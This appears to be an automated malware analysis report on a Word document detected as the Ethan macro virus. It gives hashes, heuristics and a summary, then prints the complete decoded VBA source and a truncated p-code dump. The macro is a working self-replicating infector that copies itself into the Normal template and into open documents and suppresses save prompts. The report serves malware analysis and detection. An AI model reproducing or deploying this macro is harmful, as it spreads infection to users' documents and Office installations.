Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a798e156f902cd0…

MALICIOUS

Office (OLE)

36.5 KB Created: 2000-08-23 19:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 13a43a7134bbc0d3b6207b9fd8b7c23c SHA-1: 8fa854d1151146b0717531280e24f0fe3483feb6 SHA-256: 5a798e156f902cd0958c41f94157aaebfe1b06321d1d946db985b070a6fa2d33
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro attempts to write its own code to a temporary file at 'c:\evolve.tmp' and then appears to manipulate the document and normal template's code modules, suggesting an attempt to execute further stages or establish persistence. The ClamAV detection as 'Doc.Trojan.Ethan-3' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Ethan-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8055 bytes
SHA-256: 9481b9cef3f863cfa95bc5153cb99c989f61c9f1cc33334369c5e4ed1d8e6dd0
Detection
ClamAV: Doc.Trojan.Ethan-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
With Options:
    .ConfirmConversions = False:
    .VirusProtection = True:
    .SaveNormalPrompt = False:
    .SavePropertiesPrompt = False:
End With
s = ActiveDocument.Saved
sName = "c:\evolve.tmp"
sFunc = "Private Sub Document_Open()"
Found = False
If Dir(sName) <> "" Then Call Kill(sName)
Open sName For Output As #1
For i = 0 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
    If Found = False And (a = sFunc) Then Found = True
    If a <> "" And Found = True Then Print #1, a
    If a = "End Sub" And Found = True Then Found = False
Next i
Close #1
j = 1
k = 1
t = 0
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
    Set nml = NormalTemplate.VBProject.VBComponents.Item(1)
    t = t + 1
End If
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
    Set atv = ActiveDocument.VBProject.VBComponents.Item(1)
    t = t + 2
End If
If t > 0 Then
    Open sName For Input As #1
    If LOF(1) = 0 Then GoTo quit
    i = 1
    Do While Not EOF(1)
        Line Input #1, a
        If t = 1 Or t = 3 Then
            Call nml.CodeModule.InsertLines(j, a)
            j = j + 1
        End If
        If t = 2 Or t = 3 Then
            Call atv.CodeModule.InsertLines(k, a)
            k = k + 1
        End If
    Loop
quit:
    Close #1
End If
With Dialogs(wdDialogFileSumaryInfo):
    .Title = "Ethan Frome":
    .Key = "[ProCyon 031199]: Makes no harm on your computer"
    .Author = "EW/LN/CB":
    .Keywrds = "Ethan":
    Call .Execute:
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
    Call ActiveDocument.SaveAs(FileName:=ActiveDocument.FullName)
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Call Kill(sName)
Application.EnableCancelKey = wdCancelInterrupt
End Sub

' Processing file: /opt/analyzer/scan_staging/03c6d428046246a18d61e356dcff82e7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4331 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #3:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' Line #4:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' Line #5:
' 	LitVarSpecial (True)
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' Line #6:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' Line #7:
' 	LitVarSpecial (False)
' 	MemStWith SavePropertiesPrompt 
' 	BoS 0x0000 
' Line #8:
' 	EndWith 
' Line #9:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #10:
' 	LitStr 0x000D "c:\evolve.tmp"
' 	St sName 
' Line #11:
' 	LitStr 0x001B "Private Sub Document_Open()"
' 	St sFunc 
' Line #12:
' 	LitVarSpecial (False)
' 	St Found 
' Line #13:
' 	Ld sName 
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld sName 
' 	ArgsCall (Call) Kill 0x0001 
' 	EndIf 
' Line #14:
' 	Ld sName 
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #16:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #17:
' 	Ld Found 
' 	LitVarSpecial (Fals
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.